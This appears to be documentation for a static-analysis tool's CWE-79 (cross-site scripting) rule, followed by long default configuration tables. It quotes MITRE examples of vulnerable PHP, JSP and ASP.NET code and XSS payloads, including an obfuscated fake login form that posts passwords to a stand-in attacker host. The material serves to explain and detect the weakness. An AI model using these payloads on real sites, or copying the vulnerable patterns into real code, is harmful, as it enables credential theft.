CWE-79¶
Improper Neutralization of Input During Web Page Generation (‘Cross-site Scripting’). [Data-Neutralization-Issues, Improper-Neutralization, Top25-2024-1]
Required inputs: IR, StaticSemanticAnalysis
| The product does not neutralize or incorrectly neutralizes user-controllable input before it is placed in output that is used as a web page that is served to other users. |
There are many variants of cross-site scripting, characterized by a variety of terms or involving different attack topologies. However, they all indicate the same fundamental weakness: improper neutralization of dangerous input between the adversary and a victim.
Background Details Demonstrative Examples
The Same Origin Policy states that browsers should limit the resources accessible to scripts running on a given web site, or "origin", to the resources associated with that web site on the client-side, and not the client-side resources of any other sites or "origins". The goal is to prevent one site from being able to modify or read the contents of an unrelated site. Since the World Wide Web involves interactions between many sites, this policy is important for browsers to enforce.
When referring to XSS, the Domain of a website is roughly equivalent to the resources associated with that website on the client-side of the connection. That is, the domain can be thought of as all resources the browser is storing for the user's interactions with this particular site.
Background Details Demonstrative Examples
Example 1
The following code displays a welcome message on a web page based on the HTTP GET username parameter (covers a Reflected XSS (Type 1) scenario).
Example Language:PHP (Unsupported language for documentation only)
$username = $_GET['username'];
echo '<div class="header"> Welcome, ' . $username . '</div>';
Because the parameter can be arbitrary, the url of the page could be modified so $username contains scripting syntax, such as
(attack code)
http://trustedSite.example.com/welcome.php?username=<Script Language="Javascript">alert("You've been attacked!");</Script>
This results in a harmless alert dialog popping up. Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use e-mail or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers.
More realistically, the attacker can embed a fake login box on the page, tricking the user into sending the user's password to the attacker:
(attack code)
http://trustedSite.example.com/welcome.php?username=<div id="stealPassword">Please Login:<form name="input" action="http://attack.example.com/stealPassword.php" method="post">Username: <input type="text" name="username" /><br/>Password: <input type="password" name="password" /><br/><input type="submit" value="Login" /></form></div>
If a user clicks on this link then Welcome.php will generate the following HTML and send it to the user's browser:
(result)
<div class="header"> Welcome, <div id="stealPassword"> Please Login:
<form name="input" action="attack.example.com/stealPassword.php" method="post">
Username: <input type="text" name="username" /><br/>
Password: <input type="password" name="password" /><br/>
<input type="submit" value="Login" />
</form>
</div></div>
The trustworthy domain of the URL may falsely assure the user that it is OK to follow the link. However, an astute user may notice the suspicious text appended to the URL. An attacker may further obfuscate the URL (the following example links are broken into multiple lines for readability):
(attack code)
trustedSite.example.com/welcome.php?username=%3Cdiv+id%3D%22
stealPassword%22%3EPlease+Login%3A%3Cform+name%3D%22input
%22+action%3D%22http%3A%2F%2Fattack.example.com%2FstealPassword.php
%22+method%3D%22post%22%3EUsername%3A+%3Cinput+type%3D%22text
%22+name%3D%22username%22+%2F%3E%3Cbr%2F%3EPassword%3A
+%3Cinput+type%3D%22password%22+name%3D%22password%22
+%2F%3E%3Cinput+type%3D%22submit%22+value%3D%22Login%22
+%2F%3E%3C%2Fform%3E%3C%2Fdiv%3E%0D%0A
The same attack string could also be obfuscated as:
(attack code)
trustedSite.example.com/welcome.php?username=<script+type="text/javascript">
document.write('\u003C\u0064\u0069\u0076\u0020\u0069\u0064\u003D\u0022\u0073
\u0074\u0065\u0061\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064
\u0022\u003E\u0050\u006C\u0065\u0061\u0073\u0065\u0020\u004C\u006F\u0067
\u0069\u006E\u003A\u003C\u0066\u006F\u0072\u006D\u0020\u006E\u0061\u006D
\u0065\u003D\u0022\u0069\u006E\u0070\u0075\u0074\u0022\u0020\u0061\u0063
\u0074\u0069\u006F\u006E\u003D\u0022\u0068\u0074\u0074\u0070\u003A\u002F
\u002F\u0061\u0074\u0074\u0061\u0063\u006B\u002E\u0065\u0078\u0061\u006D
\u0070\u006C\u0065\u002E\u0063\u006F\u006D\u002F\u0073\u0074\u0065\u0061
\u006C\u0050\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u002E\u0070\u0068
\u0070\u0022\u0020\u006D\u0065\u0074\u0068\u006F\u0064\u003D\u0022\u0070
\u006F\u0073\u0074\u0022\u003E\u0055\u0073\u0065\u0072\u006E\u0061\u006D
\u0065\u003A\u0020\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079
\u0070\u0065\u003D\u0022\u0074\u0065\u0078\u0074\u0022\u0020\u006E\u0061
\u006D\u0065\u003D\u0022\u0075\u0073\u0065\u0072\u006E\u0061\u006D\u0065
\u0022\u0020\u002F\u003E\u003C\u0062\u0072\u002F\u003E\u0050\u0061\u0073
\u0073\u0077\u006F\u0072\u0064\u003A\u0020\u003C\u0069\u006E\u0070\u0075
\u0074\u0020\u0074\u0079\u0070\u0065\u003D\u0022\u0070\u0061\u0073\u0073
\u0077\u006F\u0072\u0064\u0022\u0020\u006E\u0061\u006D\u0065\u003D\u0022
\u0070\u0061\u0073\u0073\u0077\u006F\u0072\u0064\u0022\u0020\u002F\u003E
\u003C\u0069\u006E\u0070\u0075\u0074\u0020\u0074\u0079\u0070\u0065\u003D
\u0022\u0073\u0075\u0062\u006D\u0069\u0074\u0022\u0020\u0076\u0061\u006C
\u0075\u0065\u003D\u0022\u004C\u006F\u0067\u0069\u006E\u0022\u0020\u002F
\u003E\u003C\u002F\u0066\u006F\u0072\u006D\u003E\u003C\u002F\u0064\u0069\u0076\u003E\u000D');</script>
Both of these attack links will result in the fake login box appearing on the page, and users are more likely to ignore indecipherable text at the end of URLs.
Example 2
The following code displays a Reflected XSS (Type 1) scenario.
The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.
Example Language:JSP (Unsupported language for documentation only)
<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>
The following ASP.NET code segment reads an employee ID number from an HTTP request and displays it to the user.
Example Language:ASP.NET (Unsupported language for documentation only)
<%
protected System.Web.UI.WebControls.TextBox Login;
protected System.Web.UI.WebControls.Label EmployeeID;
...
EmployeeID.Text = Login.Text;
%>
<p><asp:label id="EmployeeID" runat="server" /></p>
The code in this example operates correctly if the Employee ID variable contains only standard alphanumeric text. If it has a value that includes meta-characters or source code, then the code will be executed by the web browser as it displays the HTTP response.
Example 3
The following code displays a Stored XSS (Type 2) scenario.
The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.
Example Language:JSP (Unsupported language for documentation only)
<%Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}%>
Employee Name: <%= name %>
The following ASP.NET code segment queries a database for an employee with a given employee ID and prints the name corresponding with the ID.
Example Language:ASP.NET (Unsupported language for documentation only)
<%
protected System.Web.UI.WebControls.Label EmployeeName;
...
string query = "select * from emp where id=" + eid;
sda = new SqlDataAdapter(query, conn);
sda.Fill(dt);
string name = dt.Rows[0]["Name"];
...
EmployeeName.Text = name;%>
<p><asp:label id="EmployeeName" runat="server" /></p>
This code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser.
Example 4
The following code consists of two separate pages in a web application, one devoted to creating user accounts and another devoted to listing active users currently logged in. It also displays a Stored XSS (Type 2) scenario.
CreateUser.php
Example Language:PHP (Unsupported language for documentation only)
$username = mysql_real_escape_string($username);
$fullName = mysql_real_escape_string($fullName);
$query = sprintf('Insert Into users (username,password) Values ("%s","%s","%s")', $username, crypt($password),$fullName) ;
mysql_query($query);
/.../
The code is careful to avoid a SQL injection attack (CWE-89) but does not stop valid HTML from being stored in the database. This can be exploited later when ListUsers.php retrieves the information:
ListUsers.php
Example Language:PHP (Unsupported language for documentation only)
$query = 'Select * From users Where loggedIn=true';
$results = mysql_query($query);
if (!$results) {
exit;
}
//Print list of users to page
echo '<div id="userlist">Currently Active Users:';
while ($row = mysql_fetch_assoc($results)) {
echo '<div class="userNames">'.$row['fullname'].'</div>';
}
echo '</div>';
The attacker can set their name to be arbitrary HTML, which will then be displayed to all visitors of the Active Users page. This HTML can, for example, be a password stealing Login message.
Example 5
The following code is a simplistic message board that saves messages in HTML format and appends them to a file. When a new user arrives in the room, it makes an announcement:
Example Language:PHP (Unsupported language for documentation only)
$name = $_COOKIE["myname"];
$announceStr = "$name just logged in.";
//save HTML-formatted message to file; implementation details are irrelevant for this example.
saveMessage($announceStr);
An attacker may be able to perform an HTML injection (Type 2 XSS) attack by setting a cookie to a value like:
(attack code)
<script>document.alert('Hacked');</script>
The raw contents of the message file would look like:
(result)
<script>document.alert('Hacked');</script> has logged in.
For each person who visits the message page, their browser would execute the script, generating a pop-up window that says "Hacked". More malicious attacks are possible; see the rest of this entry.
Excerpts from CWE [https://cwe.mitre.org], Copyright (C) 2006-2026, the MITRE Corporation. See section 9.4. "3rd-Party Licenses" in the documentation for full details.Possible Messages
Key |
Text |
Severity |
Disabled |
|---|---|---|---|
unchecked_external_value |
Input is not properly neutralized. |
None |
False |
Options¶
This rule shares the following common options: exclude_in_macros, exclude_messages_in_system_headers, excludes, extend_exclude_to_macro_invocations, includes, justification_checker, languages, post_processing, provider, report_at, severity
The following places define options that affect this rule: Stylechecks, Analysis-GlobalOptions
all_external_functions_as_sinks¶
all_external_functions_as_sinks : bool = True
all_external_functions_as_sources¶
all_external_functions_as_sources : bool = False
external_sources¶
Description of the possible sources of external values.
external_sources.arguments_of
Description of functions for which pointer arguments should be treated as an external value that must be checked after calling the function. For each function, an argument specifier needs to be set that describes a selection of argument numbers that shall be considered. A numberxis considered iff(x >= argument_range_min and x <= argument_range_max and argument_numbers_set.empty())orx in argument_numbers_set. If the table is empty, all non-const pointer parameters of external functions are checked.
external_sources.arguments_of.excluded
Functions which should be exempt from the set of functions for which the arguments should be checked before using them.Type: dict[bauhaus.analysis.config.QualifiedName, ArgumentSpecifier]
Default:
{ '__axivion_add_local_static__': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), '__axivion_get_array_size__': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), '__axivion_get_polymorphic_size__': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), '__builtin___strcat_chk': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0, 1}, argument_range_max=4294967295, argument_range_min=0 ), '__builtin___strcpy_chk': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0, 1}, argument_range_max=4294967295, argument_range_min=0 ), '__builtin_memcpy': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), '__sigsetjmp': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'bcopy': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={1}, argument_range_max=4294967295, argument_range_min=0 ), 'confstr': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={1}, argument_range_max=4294967295, argument_range_min=0 ), 'fclose': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'ferror': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'fflush': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'fgetc': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'fileno': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'fprintf': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'free': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'fstat': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={1}, argument_range_max=4294967295, argument_range_min=0 ), 'getcwd': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'getgroups': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={1}, argument_range_max=4294967295, argument_range_min=0 ), 'gethostname': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'getrlimit': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={1}, argument_range_max=4294967295, argument_range_min=0 ), 'getrusage': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={1}, argument_range_max=4294967295, argument_range_min=0 ), 'memcpy': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'memmove': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'memset': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'mremap': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'munmap': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'operator delete': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'operator delete[]': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'pclose': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'pipe': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'printf': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'pthread_mutex_destroy': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'pthread_mutex_init': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'pthread_mutex_lock': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'pthread_mutex_trylock': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'pthread_mutex_unlock': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'pthread_mutexattr_destroy': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'pthread_mutexattr_init': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'pthread_mutexattr_settype': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'putc': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={1}, argument_range_max=4294967295, argument_range_min=0 ), 'qsort': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'read': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={1}, argument_range_max=4294967295, argument_range_min=0 ), 'realloc': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'regfree': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'sigaddset': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'sigdelset': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'sigemptyset': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'sigfillset': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'sprintf': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'std::operator<<': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'strcat': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0, 1}, argument_range_max=4294967295, argument_range_min=0 ), 'strcpy': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0, 1}, argument_range_max=4294967295, argument_range_min=0 ), 'strncat': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0, 1}, argument_range_max=4294967295, argument_range_min=0 ), 'strncpy': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0, 1}, argument_range_max=4294967295, argument_range_min=0 ), 'tcgetattr': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={1}, argument_range_max=4294967295, argument_range_min=0 ), 'time': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={0}, argument_range_max=4294967295, argument_range_min=0 ), 'vsnprintf': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ), 'waitpid': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set={1}, argument_range_max=4294967295, argument_range_min=0 ), 'wmemset': bauhaus.rules.axivion.expressions.generic.taint_analysis.ArgumentSpecifier( argument_numbers_set=set(), argument_range_max=4294967295, argument_range_min=0 ) }
external_sources.arguments_of.functions
Table of functions and argument specifiers where the function sets the matched arguments to an external value that must be checked before use. If the table is empty, all non-const pointer parameters of external functions are checked, except for functions listed in theType: dict[bauhaus.analysis.config.QualifiedName, ArgumentSpecifier]
Default:
{}arguments_of.excludedoption.
external_sources.parameters_of
Functions configured as entry points (including main) for which the parameters should be checked before using them. If the set is empty, all entry points are checked.
external_sources.parameters_of.excluded : set[bauhaus.analysis.config.QualifiedName] =
Functions which should be exempt from the set of functions for which the parameters should be checked before using them.set()
external_sources.parameters_of.functions : set[bauhaus.analysis.config.QualifiedName] =
Functions configured as entry points (including main) for which the parameters should be checked before using them. If the set is empty, all entry points are checked.set()
external_sources.return_values_of
Functions for which the return value should be considered an external value that must be checked before use.
external_sources.return_values_of.excluded
Functions which should be exempt from the set of functions for which the return value should be treated as an external value.Type: set[bauhaus.analysis.config.QualifiedName]
Default:
{'__acrt_iob_func', '__builtin_alloca', '__builtin_ctz', '__builtin_ia32_pblendw128', '__builtin_ia32_pshufd', '__builtin_ia32_pshufhw', '__builtin_ia32_pshuflw', '__builtin_ia32_pslldqi128', '__builtin_ia32_psrldqi128', '__builtin_ia32_shufps', '__builtin_isinf', '__builtin_isinff', '__builtin_isnan', '__builtin_isnanf', '__ctype_b_loc', '__ctype_get_mb_cur_max', '__errno_location', '__iob_func', '__sigsetjmp', '_mm256_abs_epi16', '_mm256_abs_epi32', '_mm256_abs_epi8', '_mm256_add_epi16', '_mm256_add_epi32', '_mm256_add_epi64', '_mm256_add_epi8', '_mm256_add_pd', '_mm256_add_ps', '_mm256_adds_epi16', '_mm256_adds_epi8', '_mm256_adds_epu16', '_mm256_adds_epu8', '_mm256_alignr_epi8', '_mm256_and_pd', '_mm256_and_ps', '_mm256_and_si256', '_mm256_blend_epi32', '_mm256_blend_pd', '_mm256_blend_ps', '_mm256_blendv_epi8', '_mm256_blendv_pd', '_mm256_blendv_ps', '_mm256_broadcastsi128_si256', '_mm256_castpd128_pd256', '_mm256_castpd256_pd128', '_mm256_castpd_ps', '_mm256_castpd_si256', '_mm256_castps128_ps256', '_mm256_castps256_ps128', '_mm256_castps_pd', '_mm256_castps_si256', '_mm256_castsi128_si256', '_mm256_castsi256_pd', '_mm256_castsi256_ps', '_mm256_castsi256_si128', '_mm256_cmp_pd', '_mm256_cmp_ps', '_mm256_cmpeq_epi16', '_mm256_cmpeq_epi32', '_mm256_cmpeq_epi64', '_mm256_cmpeq_epi8', '_mm256_cmpgt_epi16', '_mm256_cmpgt_epi32', '_mm256_cmpgt_epi8', '_mm256_cvtepi16_epi32', '_mm256_cvtepi32_epi64', '_mm256_cvtepi32_pd', '_mm256_cvtepi32_ps', '_mm256_cvtepi8_epi16', '_mm256_cvtepi8_epi32', '_mm256_cvtepu16_epi32', '_mm256_cvtepu32_epi64', '_mm256_cvtepu8_epi16', '_mm256_cvtepu8_epi32', '_mm256_cvtpd_epi32', '_mm256_cvtpd_ps', '_mm256_cvtph_ps', '_mm256_cvtps_epi32', '_mm256_cvtps_pd', '_mm256_cvtps_ph', '_mm256_cvttpd_epi32', '_mm256_cvttps_epi32', '_mm256_div_pd', '_mm256_div_ps', '_mm256_extractf128_pd', '_mm256_extractf128_ps', '_mm256_extracti128_si256', '_mm256_fmadd_pd', '_mm256_fmadd_ps', '_mm256_hadd_epi32', '_mm256_hadd_ps', '_mm256_i32gather_epi32', '_mm256_i32gather_epi64', '_mm256_i32gather_pd', '_mm256_i32gather_ps', '_mm256_insertf128_pd', '_mm256_insertf128_ps', '_mm256_inserti128_si256', '_mm256_load_pd', '_mm256_load_ps', '_mm256_load_si256', '_mm256_loadu_pd', '_mm256_loadu_ps', '_mm256_loadu_si256', '_mm256_madd_epi16', '_mm256_max_epi16', '_mm256_max_epi32', '_mm256_max_epi8', '_mm256_max_epu16', '_mm256_max_epu32', '_mm256_max_epu8', '_mm256_max_pd', '_mm256_max_ps', '_mm256_min_epi16', '_mm256_min_epi32', '_mm256_min_epi8', '_mm256_min_epu16', '_mm256_min_epu32', '_mm256_min_epu8', '_mm256_min_pd', '_mm256_min_ps', '_mm256_movemask_epi8', '_mm256_movemask_pd', '_mm256_movemask_ps', '_mm256_mul_epi32', '_mm256_mul_epu32', '_mm256_mul_pd', '_mm256_mul_ps', '_mm256_mulhi_epi16', '_mm256_mulhi_epu16', '_mm256_mullo_epi16', '_mm256_mullo_epi32', '_mm256_or_pd', '_mm256_or_ps', '_mm256_or_si256', '_mm256_packs_epi32', '_mm256_packus_epi32', '_mm256_permute2f128_pd', '_mm256_permute2f128_ps', '_mm256_permute2x128_si256', '_mm256_permute4x64_epi64', '_mm256_permute4x64_pd', '_mm256_permute_ps', '_mm256_permutevar8x32_epi32', '_mm256_permutevar8x32_ps', '_mm256_round_pd', '_mm256_round_ps', '_mm256_rsqrt_ps', '_mm256_sad_epu8', '_mm256_set1_epi16', '_mm256_set1_epi32', '_mm256_set1_epi64x', '_mm256_set1_epi8', '_mm256_set1_pd', '_mm256_set1_ps', '_mm256_set_epi64x', '_mm256_setr_epi16', '_mm256_setr_epi32', '_mm256_setr_epi8', '_mm256_setzero_pd', '_mm256_setzero_ps', '_mm256_setzero_si256', '_mm256_shuffle_epi32', '_mm256_shuffle_epi8', '_mm256_shuffle_pd', '_mm256_slli_epi16', '_mm256_slli_epi32', '_mm256_slli_epi64', '_mm256_slli_si256', '_mm256_sqrt_pd', '_mm256_sqrt_ps', '_mm256_srai_epi16', '_mm256_srai_epi32', '_mm256_srli_epi16', '_mm256_srli_epi32', '_mm256_srli_epi64', '_mm256_srli_si256', '_mm256_sub_epi16', '_mm256_sub_epi32', '_mm256_sub_epi64', '_mm256_sub_epi8', '_mm256_sub_pd', '_mm256_sub_ps', '_mm256_subs_epi16', '_mm256_subs_epi8', '_mm256_subs_epu16', '_mm256_subs_epu8', '_mm256_unpackhi_epi16', '_mm256_unpackhi_epi32', '_mm256_unpackhi_epi64', '_mm256_unpackhi_epi8', '_mm256_unpackhi_pd', '_mm256_unpackhi_ps', '_mm256_unpacklo_epi16', '_mm256_unpacklo_epi32', '_mm256_unpacklo_epi64', '_mm256_unpacklo_epi8', '_mm256_unpacklo_pd', '_mm256_unpacklo_ps', '_mm256_xor_pd', '_mm256_xor_ps', '_mm256_xor_si256', '_mm_add_epi16', '_mm_add_epi32', '_mm_add_epi64', '_mm_add_epi8', '_mm_add_pd', '_mm_add_ps', '_mm_adds_epi16', '_mm_adds_epi8', '_mm_adds_epu16', '_mm_adds_epu8', '_mm_addsub_ps', '_mm_and_pd', '_mm_and_ps', '_mm_and_si128', '_mm_andnot_si128', '_mm_blend_epi16', '_mm_blendv_epi8', '_mm_blendv_pd', '_mm_blendv_ps', '_mm_castpd_ps', '_mm_castpd_si128', '_mm_castps_pd', '_mm_castps_si128', '_mm_castsi128_pd', '_mm_castsi128_ps', '_mm_cmpeq_epi16', '_mm_cmpeq_epi32', '_mm_cmpeq_epi64', '_mm_cmpeq_epi8', '_mm_cmpeq_pd', '_mm_cmpeq_ps', '_mm_cmpge_pd', '_mm_cmpge_ps', '_mm_cmpgt_epi16', '_mm_cmpgt_epi32', '_mm_cmpgt_epi8', '_mm_cmpgt_pd', '_mm_cmpgt_ps', '_mm_cmple_pd', '_mm_cmple_ps', '_mm_cmplt_pd', '_mm_cmplt_ps', '_mm_cmpneq_pd', '_mm_cmpneq_ps', '_mm_cmpord_pd', '_mm_cmpord_ps', '_mm_cvt_ss2si', '_mm_cvtepi16_epi32', '_mm_cvtepi32_epi64', '_mm_cvtepi32_pd', '_mm_cvtepi32_ps', '_mm_cvtepi8_epi16', '_mm_cvtepi8_epi32', '_mm_cvtepu16_epi32', '_mm_cvtepu32_epi64', '_mm_cvtepu8_epi16', '_mm_cvtepu8_epi32', '_mm_cvtpd_epi32', '_mm_cvtpd_ps', '_mm_cvtph_ps', '_mm_cvtps_epi32', '_mm_cvtps_pd', '_mm_cvtps_ph', '_mm_cvtsd_f64', '_mm_cvtsd_si32', '_mm_cvtsi128_si32', '_mm_cvtsi128_si64', '_mm_cvtss_f32', '_mm_cvttpd_epi32', '_mm_cvttps_epi32', '_mm_div_pd', '_mm_div_ps', '_mm_fmadd_pd', '_mm_fmadd_ps', '_mm_hadd_ps', '_mm_load_pd', '_mm_load_ps', '_mm_load_si128', '_mm_load_ss', '_mm_loadh_pi', '_mm_loadl_epi64', '_mm_loadl_pi', '_mm_loadu_pd', '_mm_loadu_ps', '_mm_loadu_si128', '_mm_madd_epi16', '_mm_max_epi16', '_mm_max_epi32', '_mm_max_epi8', '_mm_max_epu16', '_mm_max_epu32', '_mm_max_epu8', '_mm_max_pd', '_mm_max_ps', '_mm_min_epi16', '_mm_min_epi32', '_mm_min_epi8', '_mm_min_epu16', '_mm_min_epu32', '_mm_min_epu8', '_mm_min_pd', '_mm_min_ps', '_mm_movehdup_ps', '_mm_movehl_ps', '_mm_moveldup_ps', '_mm_movelh_ps', '_mm_movemask_epi8', '_mm_movemask_pd', '_mm_movemask_ps', '_mm_mul_epi32', '_mm_mul_epu32', '_mm_mul_pd', '_mm_mul_ps', '_mm_mulhi_epi16', '_mm_mulhi_epu16', '_mm_mullo_epi16', '_mm_mullo_epi32', '_mm_or_pd', '_mm_or_ps', '_mm_or_si128', '_mm_packs_epi16', '_mm_packs_epi32', '_mm_packus_epi16', '_mm_packus_epi32', '_mm_permute_ps', '_mm_popcnt_u32', '_mm_popcnt_u64', '_mm_rsqrt_ps', '_mm_sad_epu8', '_mm_set1_epi16', '_mm_set1_epi32', '_mm_set1_epi64x', '_mm_set1_epi8', '_mm_set1_pd', '_mm_set_epi32', '_mm_set_epi64x', '_mm_set_ps', '_mm_set_ps1', '_mm_set_sd', '_mm_set_ss', '_mm_setr_epi16', '_mm_setr_epi32', '_mm_setr_epi8', '_mm_setr_pd', '_mm_setr_ps', '_mm_setzero_pd', '_mm_setzero_ps', '_mm_setzero_si128', '_mm_shuffle_epi32', '_mm_shuffle_epi8', '_mm_shuffle_ps', '_mm_shufflehi_epi16', '_mm_shufflelo_epi16', '_mm_sll_epi32', '_mm_slli_epi16', '_mm_slli_epi32', '_mm_slli_epi64', 